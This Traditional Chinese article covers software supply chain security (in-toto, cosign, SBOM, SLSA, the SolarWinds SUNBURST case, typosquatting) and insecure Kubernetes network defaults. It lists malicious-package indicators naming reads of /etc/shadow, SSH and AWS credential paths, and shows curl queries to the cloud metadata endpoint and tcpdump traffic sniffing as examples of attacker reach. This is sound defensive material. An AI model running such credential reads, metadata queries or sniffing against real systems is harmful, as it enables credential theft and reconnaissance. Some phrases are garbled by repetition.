in-toto工具鏈對軟體構建進行校驗和簽署,包括CI/CD管道的步驟和輸出。這提供了有關軟體構建過程的透明中繼資料,增加了消費者對成品是從特定原始碼修訂版構建的信任。
in-toto連結中繼資料(描述構建階段之間的轉換並簽署有關它們的中繼資料)可以由rekor和Grafeas等工具儲存,供消費者在使用時驗證。
in-toto簽名確保受信任方(如構建伺服器)已構建並簽署這些物件。但是,無法保證第三方的金鑰未被盜用。解決此問題的唯一方法是執行平行、隔離的構建環境並交叉檢查加密簽名。這透過可重現構建(在Debian、Arch Linux和PyPi中)實作,以抵抗構建工具入侵。
這只有在CI和構建本身是確定性的(構建沒有副作用)和可重現的(相同輸入產生相同輸出)情況下才可能實作。
高效實施供應鏈安全策略
在實施供應鏈安全策略時,我發現需要平衡安全性和開發效率。以下是一些實用建議:
分層防禦策略
單一安全工具無法阻止所有供應鏈攻擊。我建議實施分層防禦:
- 原始碼階段:使用GPG簽署提交,確保程式碼來源可信
- 構建階段:使用in-toto記錄和簽署構建過程
- 成品階段:生成SBOM並使用cosign或Notary簽署容器
- 佈署階段:設定準入控制器,僅允許經過驗證的映像佈署
自動化與整合
將安全掃描和簽署流程整合到CI/CD管道中,實作自動化。例如:
# 在CI管道中的容器掃描和簽署範例
stages:
- build
- scan
- sign
- publish
build-image:
stage: build
script:
- docker build -t $CI_REGISTRY_IMAGE:$CI_COMMIT_SHA .
scan-image:
stage: scan
script:
- trivy image $CI_REGISTRY_IMAGE:$CI_COMMIT_SHA
- syft packages $CI_REGISTRY_IMAGE:$CI_COMMIT_SHA -o cyclonedx > sbom.xml
sign-image:
stage: sign
script:
- cosign sign $CI_REGISTRY_IMAGE:$CI_COMMIT_SHA
- cosign attach sbom $CI_REGISTRY_IMAGE:$CI_COMMIT_SHA --sbom sbom.xml
publish-image:
stage: publish
script:
- docker push $CI_REGISTRY_IMAGE:$CI_COMMIT_SHA
這個CI管道範例展示了一個完整的安全容器發布流程:
- 構建階段:建立Docker映像
- 掃描階段:使用Trivy掃描漏洞,並用syft生成SBOM
- 簽署階段:使用cosign簽署映像並附加SBOM
- 發布階段:將簽署後的映像推播到倉函式庫
處理遺留系統
許多組織面臨的挑戰是如何處理不支援現代安全措施的遺留系統。在這種情況下,我建議:
- 為遺留系統建立隔離環境
- 實施更嚴格的網路控制和監控
- 逐步規劃現代化路徑,將關鍵功能遷移到支援安全供應鏈的平台
供應鏈安全的未來發展
供應鏈安全領域正在迅速發展。我認為以下趨勢值得關注:
標準化與合規
隨著SBOM成為安全實踐的標準部分,我們將看到更多的法規要求和行業標準出現。美國總統行政命令已經開始要求政府供應商提供SBOM,這一趨勢可能會擴充套件到其他行業。
自動化驗證
隨著工具的成熟,我們將看到更多自動化的端對端驗證流程,從提交簽署到佈署時的成品驗證,所有步驟都無需人工介入。
開放原始碼生態系統的演進
sigstore等開放原始碼專案正在徹底改變供應鏈安全領域。這些工具的普及將使安全實踐更容易被廣泛採用,特別是在資源有限的小型組織中。
供應鏈安全是一個不斷演進的領域,需要持續關注和適應。透過實施本文討論的工具和策略,組織可以顯著降低供應鏈攻擊的風險,保護自己的軟體資產和客戶資料。
值得注意的是,即使是最好的工具也無法防範所有攻擊。如SUNBURST攻擊所示,如果攻擊發生在原始碼階段並且在構建成品或生成SBOM之前,即使有簽名,惡意程式碼仍會被信任。這就是為什麼保護構建基礎設施本身至關重要。
透過結合技術工具和組織流程,實施全面的供應鏈安全策略,我們可以大幅提高軟體供應鏈的安全性和可靠性。
供應鏈安全的基礎挑戰
在當今複雜的軟體生態系統中,供應鏈安全已成為組織必須認真對待的關鍵問題。一個值得注意的挑戰是時間與隨機性因素對建構過程的影響,這些看似微不足道的元素實際上可能為系統引入不可預測的安全風險。
時間與隨機性的安全隱患
依賴時間或隨機行為(如時間戳記和隨機種子)進行建構的系統,會產生不可重現的二進位檔案。這些檔案受到日誌檔案中的時間戳記或影響編譯的隨機種子等因素的影響,導致每次建構的結果都可能略有不同。
在實際工作中,玄貓發現許多組織忽視了這一點。當二進位檔案無法精確重現時,將難以確認特定版本是否確實來自可信的原始碼,為供應鏈攻擊提供了可乘之機。理想情況下,相同的原始碼應該總是產生完全相同的二進位檔案,這樣才能確保建構過程的完整性。
in-toto:全方位供應鏈驗證框架
in-toto的核心價值
in-toto是一個強大的框架,能夠顯著提升組織對其管道和成品的信任度。它的核心優勢在於為整個供應鏈中的每個元素提供可驗證的數位簽章,確保從原始碼到最終佈署的每一步都經過驗證。
然而,僅實施in-toto並不足以解決所有安全問題。如果組織使用單一建構伺服器與缺乏客觀的威脅模型或對原始建構基礎設施的安全評估,那麼即使用in-toto,也無法完全保護可能已經被入侵的供應鏈。
簽章驗證的雙重保障
當生產者使用in-toto,而消費者驗證簽章時,攻擊者的工作會變得更加困難。他們必須完全入侵簽章基礎設施才能成功發動攻擊(就像SolarWinds事件一樣)。這種雙重保障機制能夠大幅提高供應鏈的安全性,為組織提供更可靠的防護。
GCP Binary Authorization:容器映像授權機制
GCP的Binary Authorization功能允許對映像進行簽章,並透過准入控制防止未簽章、過時或存在漏洞的映像進入生產環境。這是保護容器佈署安全的重要機制。
執行時簽章驗證的價值
在執行時驗證預期的簽章提供了管道控制的強制執行:
- 這個映像是否沒有已知的漏洞,或者有一份"已接受"的漏洞清單?
- 它是否透過了管道中的自動化驗收測試?
- 它是否真的來自建構管道?
這些問題的答案直接關係到系統的安全性和可靠性。
Grafeas與Kritis:強化容器安全
在Binary Authorization架構中,Grafeas用於儲存來自映像掃描報告的中繼資料,而Kritis則是一個准入控制器,負責驗證簽章並確認映像中沒有CVE(通用漏洞披露)。
Grafeas:供應鏈中繼資料儲存函式庫
Grafeas是一個中繼資料儲存函式庫,用於儲存管道中繼資料,如漏洞掃描和測試報告。容器的相關資訊會記錄在其摘要(digest)上,這些資訊可用於報告組織映像的漏洞,並確保建構階段已成功透過。Grafeas還可以儲存in-toto的連結中繼資料。
基礎設施供應鏈安全
除了應用程式供應鏈外,基礎設施供應鏈安全同樣至關重要。在評估系統安全性時,我們需要考慮作業系統基礎映像,以及Kubernetes控制平面容器和套件的安裝來源。
某些發行版歷來會修改並重新封裝Kubernetes,這增加了惡意程式碼注入的供應鏈風險。根據初始威脅模型決定如何處理這個問題,並針對入侵風險設計具有彈性的系統和網路架構。
在實際工作中,玄貓建議組織優先選擇那些透明度高、安全記錄良好的發行版,並定期審查其基礎設施依賴項。這不僅是安全問題,也是穩定性和可維護性的關鍵考量。
Kubernetes Operator許可權管理
Kubernetes Operator旨在透過自動化Kubernetes設定並對事件做出反應,從而減少人為錯誤。它們與Kubernetes以及其他受控資源互動,這些資源可能位於單一名稱空間、多個名稱空間,或者Kubernetes之外。
Operator的安全風險
由於Operator需要實作複雜的自動化,它們通常擁有高許可權,因此帶來一定程度的風險。根據Operator的供應鏈攻擊可能允許攻擊者透過濫用RBAC(根據角色的存取控制)來悄佈署惡意工作負載,而惡意資源可能完全不被發現。
雖然這種攻擊尚未被廣泛發現,但它有可能危及大量叢集。因此,在信任第三方Operator之前,必須對其進行評估和安全測試:
- 為其RBAC許可權編寫測試,以便在許可權變更時收到警示
- 確保Operator的
securityContext
設定適合工作負載
在實際佈署中,玄貓建議為每個Operator建立明確的安全邊界,並遵循最小許可權原則,只授予其完成任務所需的最低許可權。
更高階的供應鏈攻擊
攻擊者可能考慮攻擊為組織提供軟體的上游供應商,如作業系統、廠商和開放原始碼套件。這些攻擊通常更具破壞性,因為它們可能影響依賴這些元件的所有下游系統。
開放原始碼函式庫的漏洞風險
開放原始碼函式庫可能存在漏洞,其中最具破壞性的歷史案例是Apache Struts遠端式碼執行漏洞(CVE-2017-5638)。這個漏洞影響了Apache Struts(一個Java Web框架),伺服器無法正確解析Content-Type HTTP標頭,允許以Web伺服器使用者身份在處理名稱空間中執行任何命令。
Apache Struts的安全問題
Struts 2有著關鍵安全漏洞的歷史,許多與其使用的OGNL技術有關。一些漏洞可能導致任意程式碼執行。這提醒我們,即使是廣泛使用的框架也可能存在嚴重的安全問題。
後門與套件移除風險
受信任的開放原始碼函式庫可能被植入"後門"(如NPM的event-stream套件),或者在積極使用時從登入檔中移除,如left-pad事件(雖然現在登入檔通常會透過防止"取消發布"套件來避免這種情況)。
供應商程式碼的入侵案例
供應商分發的程式碼也可能被入侵,就像Codecov一樣。其容器映像建立過程中的錯誤允許攻擊者修改客戶用於啟動建構的Bash上載指令碼。這種攻擊會危及建構機密,然後可能被用來攻擊其他系統。
使用Codecov的組織數量相當可觀。透過grep.app搜尋Git儲存函式庫顯示,在前500,000個公共Git儲存函式庫中有超過9,200個結果。在撰寫本文時,GitHub顯示有397,518個程式碼結果。
應用程式安全的重要性
編寫不良的程式碼如果無法處理不可信的使用者輸入或內部錯誤,可能存在可遠端利用的漏洞。應用程式安全負責防止這種輕易存取系統的方式。
業界公認的方法是"左移",這意味著應該在開發人員編寫程式碼時就對其進行靜態和動態分析:
- 將自動化工具增加到IDE
- 提供本地安全測試工作流程
- 在佈署前執行設定測試
- 不要像傳統軟體開發那樣將安全考慮留到最後一刻
供應鏈攻擊的型別
TAG安全的供應鏈入侵目錄列出了影響套件的攻擊,這些套件在各種應用程式依賴儲存函式庫和供應商中每週下載數百萬次,總安裝量達數億。
最受歡迎的惡意套件(包括良性和惡意版本)的總下載量相當驚人:
- event-stream:1.9億
- eslint-scope:4.42億
- bootstrap-sass:3千萬
- rest-client:1.14億
這些加起來總計達到7.76億次下載。
開放原始碼供應鏈中的關鍵角色
在"Towards Measuring Supply Chain Attacks on Package Managers for Interpreted Languages"這篇論文中,作者識別了開放原始碼供應鏈中的四個角色:
- 登入檔維護者(RMs)
- 套件維護者(PMs)
- 開發人員(Devs)
- 終端使用者(Users)
那些有消費者的角色有責任驗證他們傳遞給客戶的程式碼,並有義務提供可驗證的中繼資料,以建立對成品的信心。
供應鏈攻擊的多重威脅
要確保使用者收到可信的成品,需要防禦多種威脅:
- 原始碼漏洞
- 發布基礎設施安全問題
- 開發工具漏洞
- 惡意維護者
- 維護疏忽
- 假冒工具鏈
- 水坑攻擊
- 多步驟攻擊
登入檔維護者應該防範名稱相似攻擊(typosquatting):個人註冊看起來與廣泛佈署的套件相似的套件。
名稱相似攻擊的例子
攻擊型別 | 套件名稱 | 假冒名稱 |
---|---|---|
名稱相似 | event-stream | eventstream |
不同帳戶 | user/package | usr/package, user_/package |
組合名稱相似 | package | package-2, package-ng |
帳戶接管 | user/package | user/package(無變化,因為使用者已被攻擊者入侵) |
社交工程 | user/package | user/package(無變化,因為使用者已自願給予儲存庫存取許可權) |
套件管理器的供應鏈存在許多風險,包括不同利益相關者之間的關係和威脅。
開放原始碼攝取的挑戰與解決方案
對每個套件都進行詳細審查可能會變得令人疲憊,並且在大規模應用時很快變得不切實際。這就是生產者和消費者之間的信任網路發揮作用的地方,它減輕了在鏈中每個環節重複檢查證明的負擔。
然而,沒有什麼可以完全信任,定期重新驗證程式碼是必要的,以應對新宣佈的CVE或零日漏洞。
識別供應鏈攻擊的啟發式規則
在"Towards Measuring Supply Chain Attacks on Package Managers for Interpreted Languages"中,作者確定了相關問題,其中包括中繼資料分析,例如套件名稱與流行套件相似的情況。
這些啟發式規則可以幫助組織識別潛在的供應鏈攻擊,並在它們造成實際損害之前採取預防措施。
建立全面的供應鏈安全策略
綜合以上所有內容,玄貓認為組織需要建立全面的供應鏈安全策略,包括:
可重現建構:實施確定性建構流程,確保相同的原始碼總是產生相同的二進位檔案
簽章驗證:使用in-toto等框架為供應鏈中的每個步驟提供可驗證的簽章
映像授權:實施如GCP Binary Authorization的機制,確保只有經過驗證的容器映像才能佈署到生產環境
基礎設施安全:審查並保護基礎設施供應鏈,包括作業系統基礎映像和Kubernetes元件
Operator許可權管理:嚴格控制Kubernetes Operator的許可權,遵循最小許可權原則
開放原始碼相依性管理:建立開放原始碼套件的評估和監控流程,定期掃描漏洞並更新依賴項
應用程式安全左移:在開發過程的早期階段整合安全測試和審查
持續監控:實施監控系統,及時檢測和應對供應鏈中的異常活動
供應鏈安全是一個不斷發展的領域,需要組織保持警惕並適應新的威脅和防禦技術。透過實施這些策略,組織可以顯著降低供應鏈攻擊的風險,保護其系統和客戶免受潛在的損害。
在當今日益複雜的技術生態系統中,供應鏈安全不再是可選項,而是業務連續性和客戶信任的基本要素。組織應將供應鏈安全視為整體安全策略的核心部分,並投入適當的資源來保護其數位資產和聲譽。
供應鏈攻擊與應用程式漏洞的全面防護
可疑軟體包的識別指標
在評估軟體包安全性時,以下幾點可能表明存在安全風險:
- 軟體包名稱與其他登入函式庫中的熱門包相同,但作者不同
- 軟體包依賴於已知惡意軟體或與其分享作者
- 軟體包有較舊版本,發布時間與已知惡意軟體相近
- 軟體包含Windows PE檔案或Linux ELF檔案
- 軟體包具有自定義安裝邏輯
靜態分析警示
從靜態分析角度,以下特徵值得警惕:
- 最近發布的版本增加了網路、處理程式或程式碼生成API
- 軟體包存在從檔案系統來源到網路接收器的資料流
- 軟體包存在從網路來源到程式碼生成或處理程式接收器的資料流
動態分析警示
動態執行時,這些行為可能表明惡意軟體:
- 軟體包連線到非預期的IP或網域(預期的僅應是官方登入函式庫和程式碼託管服務)
- 軟體包讀取敏感檔案位置,如
/etc/shadow
、/home/<user>/.ssh
或/home/<user>/.aws
- 軟體包寫入敏感檔案位置,如
/usr/bin
、/etc/sudoers
或/home/<user>/.ssh/authorized_keys
- 軟體包啟動非預期的處理程式(預期的僅應是登入函式庫客戶端,如pip)
供應鏈攻擊的關鍵發現
研究顯示以下重要發現:
低成本高效益的攻擊向量:拼寫錯誤網域名稱(Typosquatting)和帳戶劫持是成本最低與被廣泛利用的攻擊向量
主要惡意行為:竊取資料和植入後門是最常見的惡意後續行為,表明攻擊者廣泛針對一般使用者
永續性威脅:20%的已識別惡意軟體在套件管理器中持續存在超過400天,下載量超過1,000次
新型規避技術:程式碼混淆、多階段載荷和邏輯炸彈等技術被用來逃避檢測
值得注意的是,安裝數量較少的套件在報告漏洞後往往反應緩慢。這可能是因為開發者並非受薪支援這些開放原始碼套件。建立激勵機制,如提供精心編寫的修補程式、及時協助合併更新或透過漏洞懸賞計畫提供財務支援,都是減少這類別流行但很少維護的套件中漏洞的有效方法。
應用程式生命週期中的漏洞
軟體開發生命週期(SDLC)是應用程式從開發者構思到在生產系統上安全構建和佈署的完整旅程。應用程式從開發到生產的過程中,風險概況會有所變化:
開發到生產佈署階段:
- 高風險:應用程式碼(頻繁變更)
- 低風險:應用程式函式庫、作業系統套件
已建立的生產佈署到退役階段:
- 高風險:逐漸老化的應用程式函式庫和作業系統套件
- 低風險:應用程式碼(變更較少)
隨著應用程式在生產環境中執行時間的延長,其風險概況會發生變化,因為其軟體會逐漸過時。這被稱為「反向執行時間」—應用程式被入侵風險與其佈署時間(如容器構建日期)之間的相關性。組織中反向執行時間的平均值也可以被視為「平均時間到…」:
- 入侵(應用程式存在遠端可利用的漏洞)
- 失效(應用程式不再與更新的系統或外部API協同工作)
- 更新(更改應用程式碼)
- 修補(明確更新依賴項版本)
- 重建(提取新的伺服器依賴項)
防禦SUNBURST攻擊
SUNBURST攻擊是一個值得深入研究的供應鏈攻擊案例。讓玄貓分析這次攻擊的運作方式,並探討如何防禦類別似攻擊。
SUNBURST攻擊時間線
攻擊者於2019年9月4日獲得了SolarWinds系統的存取許可權。這可能是透過魚叉式網路網路網路網路釣魚電子郵件攻擊,使攻擊者能夠進一步滲透到SolarWinds系統,或者透過在構建基礎設施或導向網際網路的伺服器中發現的軟體設定錯誤。
攻擊者隱藏了一週後,開始測試最終會破壞SolarWinds產品的SUNSPOT注入程式碼。這個階段悄進行了兩個月。
內部檢測可能在此階段發現攻擊者,但構建基礎設施很少受到與生產系統相同級別的安全審查、入侵檢測和監控,儘管它向生產環境或客戶交付程式碼。使用容器的更細粒度安全控制可以解決這個問題。當然,除非在主機上執行入侵檢測,否則直接進入主機系統的後門仍然難以檢測,而在分享構建節點上執行入侵檢測可能會產生大量噪音。
SUNSPOT惡意軟體的運作方式
在最初入侵構建基礎設施近六個月後,SUNSPOT惡意軟體被佈署。一個月後,包含惡意植入程式的SolarWinds Hotfix 5 DLL提供給客戶,一旦威脅行為者確認客戶受到感染,它就從構建VM中移除了惡意軟體。此後又過了六個月,客戶感染才被識別出來。
SUNSPOT惡意軟體在程式碼編譯前立即更改源程式碼,編譯後立即還原始形式。這需要觀察檔案系統並更改其內容。
防禦措施與限制
使用驗證輸入和輸出的構建階段簽名工具(如in-toto所做的那樣),然後呼叫子程式執行構建步驟,可能對這種攻擊變體有一定免疫力。不過,這可能使安全性成為in-toto雜湊函式和修改檔案系統的惡意軟體之間的競爭條件。
需要記住的是,如果攻擊者控制了構建環境,他們可能會修改其中的任何檔案。雖然這很糟糕,但他們無法重新生成在構建外部進行的簽名:這就是為什麼加密簽名的成品比未簽名的二進位檔案或Git程式碼更安全。簽名或校驗和成品的篡改可以被檢測到,因為攻擊者不太可能擁有私鑰來簽署被篡改的資料。
SUNSPOT更改了即將被編譯的檔案。在容器構建中,存在相同的問題:必須信任本地檔案系統。簽署輸入並驗證輸出在一定程度上可以緩解這種攻擊,但對於擁有構建系統控制權的有動機的攻擊者來說,可能無法與構建活動區分開來。
實用防禦建議
可能無法在沒有完全實施所有供應鏈安全建議的情況下完全保護構建系統。應根據組織的最終風險偏好來確定希望花多少精力保護這個至關重要與易受攻擊的系統部分。例如,關鍵基礎設施專案可能希望完全審核收到的硬體和軟體,盡可能在硬體模組中建立信任根,並嚴格規範允許與構建系統互動的員工。對於大多陣列織來說,這將是極其不切實際的。
Nixpkgs(用於NixOS)從一小組工具確定性地引導。這可能是可重現構建的終極解決方案,具有一些有用的安全副作用;它允許對從中構建的所有映像進行端對端信任和可重現性。Trustix(另一個Nix專案)比較跨多個不受信任的構建伺服器的構建輸出,以確定構建是否已被破壞。
SUNBURST攻擊與防禦策略
SUNBURST攻擊是一個經典的供應鏈攻擊案例,攻擊者能夠滲透到SolarWinds的構建環境,並在編譯過程中暫時修改原始碼,植入後門。這種攻擊特別難以檢測,因為它發生在構建過程中,而與攻擊者非常謹慎地在編譯完成後還原始程式碼。
玄貓認為,防禦此類別攻擊需要多層次方法:
構建系統強化:構建環境應該受到與生產環境同等級別的安全保護,包括入侵檢測、存取控制和日誌監控
輸入/輸出驗證:使用像in-toto這樣的工具來驗證構建輸入和輸出的完整性,可以幫助檢測檔案修改
不可變構建:採用不可變的構建環境,每次構建後銷毀,可以減少永續性後門的風險
可重現構建:確保構建過程是確定性的,這樣任何變異都可以被檢測出來
分離職責:將構建系統的關鍵部分離,使攻擊者難以獲得完全控制
雖然這些建議可能無法完全防止像SUNBURST這樣的供應鏈入侵,但它們可以保護一些攻擊向量並減少總體風險暴露。
保護構建系統的建議
為了保護構建系統,可以考慮以下措施:
給開發者在整合和測試環境中的root存取許可權,但限制生產環境的存取
使用確定性和可重現的構建過程,確保每次構建的輸出都是一致的
實施強大的身份驗證和授權機制,限制對構建系統的存取
定期稽核構建環境和流程,識別潛在的安全漏洞
使用簽名和校驗和驗證構建成品的完整性
監控構建系統的異常活動,及時發現潛在的入侵
實施最小許可權原則,確保構建系統只有執行必要任務的許可權
構建系統是應用程式安全性的關鍵環節,也是攻擊者的高價值目標。透過實施這些安全措施,可以顯著提高供應鏈的安全性,減少像SUNBURST這樣的攻擊成功的可能性。
在現代軟體開發中,我們不能忽視供應鏈安全的重要性。隨著開發流程的加速和依賴項的增加,確保從原始碼到佈署的每個環節都是安全的變得越來越重要。這需要開發者、安全團隊和管理階層的共同努力,建立一個安全、可靠的軟體供應鏈。
強化建置流程的供應鏈安全防護
在現代軟體開發中,供應鏈安全已成為不可忽視的關鍵環節。從我多年的安全架構經驗來看,建置流程的安全性直接影響著最終產品的完整性。以下是幾項關鍵的防護措施:
建置基礎設施的安全策略
採用臨時性建置基礎設施是一種有效的防護策略。這種方法每次建置都使用全新環境,有效防止長期存在的安全漏洞和後門。在實施這種策略時,我發現以下幾點尤為重要:
- 防止快取汙染:建置環境應該每次重新初始化,避免之前建置殘留的可能被汙染的快取
- 分散式基礎設施:在不同環境下建置相同程式碼,比較結果以檢測可能的篡改
- 入侵檢測佈署:在建置伺服器上執行入侵檢測系統,即時發現異常活動
建置成品的可驗證性
為確保下游使用者能夠驗證所收到的成品,我們應該:
# 使用cosign為容器映像檔簽名
cosign sign --key cosign.key myregistry.io/myapp:latest
# 生成並分發SBOM (Software Bill of Materials)
syft myapp:latest -o spdx-json > sbom.json
上述命令展示了兩個關鍵安全步驟。第一個命令使用cosign工具為容器映像檔簽名,建立一個數位簽名以驗證映像檔的來源和完整性。第二個命令使用syft工具生成SBOM(軟體物料清單),記錄應用程式中所有元件及其版本,以便使用者可以檢查已知的漏洞。這兩步驟結合使用,大幅提高了供應鏈的透明度和可信度。
建置流程的隔離與簡化
隔離與可重現的建置流程是防止供應鏈攻擊的關鍵。我在設計安全建置流程時,通常會遵循這些原則:
- 封閉式建置環境:建置過程應該是自給自足的,不依賴外部系統或網路連線
- 避免建置指令碼中的決策邏輯:複雜的條件判斷可能引入安全漏洞
- 簡化建置流程:建置過程應該簡單明瞭,易於理解和審查
- 將建置指令碼視為一般軟體:對建置指令碼進行同等嚴格的安全審查和掃描
從我的經驗來看,許多供應鏈攻擊正是利用了建置過程中的複雜性和不透明性。透過簡化和標準化建置流程,我們可以顯著降低被攻擊的風險。
供應鏈安全的綜合防護策略
供應鏈安全是一項挑戰性極高的任務,很難做到完全防護。在實際工作中,我發現採用多層次防護策略是最有效的方法。
SLSA框架的實施
SLSA (Supply chain Levels for Software Artifacts) 框架提供了一系列里程碑,幫助組織逐步提升供應鏈安全性:
graph TD A[SLSA 第1級: 建置過程記錄] --> B[SLSA 第2級: 可驗證的建置來源] B --> C[SLSA 第3級: 來源和建置平台安全] C --> D[SLSA 第4級: 兩人審查變更]
這個圖表展示了SLSA框架的四個等級,從最基本的建置過程記錄,到最高階別的兩人審查變更。每個等級都建立在前一個等級的基礎上,逐步強化軟體供應鏈的安全性。這種漸進式方法使組織能夠根據自身需求和能力,有計劃地提升供應鏈安全水平,而不必一次實施所有控制措施。
容器映像檔和程式碼函式庫的安全掃描
基本的安全掃描是雲原生應用程式安全的最低要求:
# 使用Trivy掃描容器映像檔中的已知漏洞
trivy image myregistry.io/myapp:latest
# 使用GitLeaks掃描Git儲存函式庫中的敏感資訊
gitleaks detect --source=./my-repo
這些命令展示了兩種基本的安全掃描技術。第一個使用Trivy掃描容器映像檔中的已知漏洞,檢查所有安裝的套件和依賴項是否存在已公開的安全問題。第二個使用GitLeaks工具掃描Git儲存函式庫,尋找可能被意外提交的敏感資訊,如API金鑰、密碼等。這兩種掃描都應該整合到CI/CD管道中,作為自動化安全檢查的一部分。
容器執行環境的安全設定
假設所有工作負載都可能受到威脅,我們應該相應地調整容器安全上下文和設定:
# Kubernetes Pod 安全上下文設定範例
securityContext:
runAsNonRoot: true
runAsUser: 1000
readOnlyRootFilesystem: true
allowPrivilegeEscalation: false
capabilities:
drop:
- ALL
這個YAML片段展示了Kubernetes Pod的安全上下文設定。它實施了幾項重要的安全控制:禁止以root使用者執行容器、指定使用UID 1000的非特權使用者、將根檔案系統設為唯讀、禁止許可權升級,以及刪除所有Linux capabilities。這些設定共同構成了一個最小許可權環境,即使容器中的應用程式被攻擊,也能限制攻擊者的活動範圍。
建置成品的簽名與驗證
在CI/CD過程中簽名建置成品,並在使用時驗證其簽名:
# 使用cosign簽名容器映像檔
cosign sign --key cosign.key myregistry.io/myapp:latest
# 在佈署前驗證簽名
cosign verify --key cosign.pub myregistry.io/myapp:latest
這組命令演示了容器映像檔的簽名和驗證流程。第一個命令使用私鑰對容器映像檔進行簽名,建立一個數位簽名並將其與映像檔關聯。第二個命令使用對應的公鑰驗證映像檔的簽名,確認它來自受信任的來源與未被篡改。這種機制應該整合到佈署流程中,確保只有經過驗證的映像檔才能在生產環境中執行。
儘管這些措施只是供應鏈安全的一部分,但它們能夠有效阻礙攻擊者,並降低組織成為「隨機攻擊」受害者的風險。
Kubernetes網路架構概述
Kubernetes的網路模型是其強大功能的核心,同時也是安全挑戰的來源。在探討安全性之前,先了解其基本架構非常重要。
網路層模型
Kubernetes網路模型涉及多個層級和協定:
graph TD A[應用層: HTTP/HTTPS/gRPC] --> B[傳輸層: TCP/UDP] B --> C[網路層: IP] C --> D[資料鏈路層: Ethernet] D --> E[實體層: 網路硬體] style A fill:#f9f,stroke:#333 style B fill:#bbf,stroke:#333 style C fill:#bfb,stroke:#333 style D fill:#fbb,stroke:#333 style E fill:#bbb,stroke:#333
這個圖表展示了Kubernetes網路中的OSI協定層級。從底層的實體網路硬體,到頂層的應用協定如HTTP和gRPC,每一層都有其特定的功能和安全考量。Kubernetes使用標準的IETF網路協定套件,但在容器環境中,這些協定的使用方式和假設可能與傳統環境不同,這也是攻擊者可能利用的地方。
主要通訊路徑
在Kubernetes中,有四種主要的通訊路徑需要考慮:
- Pod內部通訊:同一Pod中的容器之間的通訊
- Pod間通訊:同一叢集中不同Pod之間的通訊
- Pod與工作節點通訊:Pod與其所在工作節點之間的通訊
- 叢集外部通訊:Pod與外部世界的通訊
每種通訊路徑都有其特定的安全考量和防護措施。在預設情況下,Kubernetes採用相對開放的網路政策,這為攻擊者提供了廣闊的攻擊面。
Kubernetes網路預設值及其安全隱憂
Kubernetes的預設網路設定在便利性和安全性之間做了權衡,但從安全形度來看,這些預設值存在顯著風險。
平面拓撲結構的風險
預設情況下,Kubernetes採用平面網路拓撲,每個Pod可以看到並且叢集中的每個其他Pod通訊。這種設計雖然簡化了佈署,但從安全形度來看是災難性的。
# 預設情況下不存在網路政策,相當於允許所有流量
# 這等同於以下隱含的全允許政策
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: allow-all-implicit
spec:
podSelector: {}
ingress:
- {}
egress:
- {}
這個YAML片段展示了Kubernetes預設網路行為的等效網路政策。在沒有明確網路政策的情況下,所有Pod之間的入站和出站流量都被允許,這相當於一個「全允許」政策。這種情況為橫向移動攻擊提供了理想環境,攻擊者只需要突破一個Pod,就可以嘗試存取叢集中的所有其他Pod。無論你的威脅模型如何,這種「所有流量都允許」的政策都代表了一個巨大的攻擊向量。
Pod內部網路結構
瞭解Pod內部的網路結構,有助於理解其安全邊界:
# 在Pod中檢視網路名稱空間
kubectl exec -it my-pod -- ip netns list
# 檢查Pod中的網路介面
kubectl exec -it my-pod -- ip addr
這些命令展示瞭如何檢查Pod內部的網路設定。在Kubernetes Pod中,一個隱含的「pause」容器會建立一個Linux網路名稱空間,Pod中的所有其他容器(如初始化容器和主應用容器)都會加入這個分享的網路名稱空間。這意味著Pod內的所有容器分享相同的IP位址、連線埠空間和網路裝置。這種設計雖然方便了容器間通訊,但也意味著Pod內的容器之間沒有網路隔離。
安全上下文缺失的影響
預設情況下,Pod沒有設定securityContext,這意味著工作負載可能升級到主機網路介面:
# 沒有securityContext的Pod定義
apiVersion: v1
kind: Pod
metadata:
name: insecure-pod
spec:
containers:
- name: app
image: myapp:latest
# 注意:這裡缺少securityContext
這個YAML片段展示了一個沒有設定securityContext的Pod定義。在這種情況下,容器可能以root使用者執行,擁有過多的許可權,並可能存取主機網路介面。這種設定使攻擊者更容易從容器逃逸到主機系統,進而危及整個叢集的安全。適當的securityContext設定是防止許可權升級和容器逃逸的關鍵防線。
環境限制的缺失
預設情況下,Kubernetes沒有限制Pod查詢主機和雲端中繼資料的能力:
# Pod可以查詢雲端中繼資料服務
curl http://169.254.169.254/latest/meta-data/
# 或存取Kubernetes API伺服器
curl https://kubernetes.default.svc
這些命令展示了Pod預設可以查詢的敏感資訊來源。第一個命令存取雲提供商的中繼資料服務,這可能揭露例項ID、IAM角色等敏感訊息。第二個命令嘗試存取Kubernetes API伺服器,這可能允許攻擊者查詢或修改叢集設定。在沒有適當網路政策的情況下,這些端點對所有Pod都是開放的,為攻擊者提供了寶貴的情報收集機會。
工作負載身份缺失
在Kubernetes預設設定中,工作負載沒有明確的身份:
# 沒有服務帳戶設定的Pod
apiVersion: v1
kind: Pod
metadata:
name: no-identity-pod
spec:
containers:
- name: app
image: myapp:latest
# 注意:這裡沒有指定serviceAccountName
這個YAML片段展示了一個沒有明確指定服務帳戶的Pod定義。在這種情況下,Pod將使用名稱空間的預設服務帳戶,這通常具有限的許可權。然而,這種方法並不提供細粒度的身份管理,使得難以實施根據身份的存取控制。現代安全實踐建議為每個工作負載分配專用的服務帳戶,並使用RBAC精確控制其許可權。
缺乏傳輸加密
預設情況下,Pod之間和叢集外部流量沒有加密:
# 使用tcpdump在Pod之間捕捉未加密流量
kubectl exec -it network-tools -- tcpdump -i eth0 -A
這個命令展示瞭如何在Pod網路介面上捕捉流量。在預設設定中,Pod之間的通訊是未加密的,這意味著攻擊者如果能夠存取網路基礎設施或受損的Pod,就可以竊聽通訊內容。這種情況對於傳輸敏感資訊(如認證憑證或個人資料)的應用程式尤其危險。實施傳輸層加密(如TLS)或服務網格是解決這個問題的常見方法。
Pod內部網路通訊機制
瞭解Pod內部的網路通訊機制,有助於理解其安全邊界和潛在風險。
Pod網路名稱空間的工作原理
在Kubernetes Pod中,網路架構是這樣工作的:
# 檢視Pod中的網路名稱空間和介面
kubectl exec -it my-pod -- bash -c "ip link show && ip addr"
這個命令可以顯示Pod內部的網路裝置和IP位址設定。在Kubernetes Pod中,一個隱含的「pause」容器會建立一個Linux網路名稱空間,然後Pod中的其他所有容器(如初始化容器和應用容器)都會加入這個分享的網路名稱空間。pause容器啟用了網路橋接模式,而Pod中的其他容器則透過容器模式分享這個名稱空間。這種設計使得同一Pod中的所有容器可以透過localhost相互通訊,分享相同的IP位址和連線埠空間。
Pod內容器間通訊的安全考量
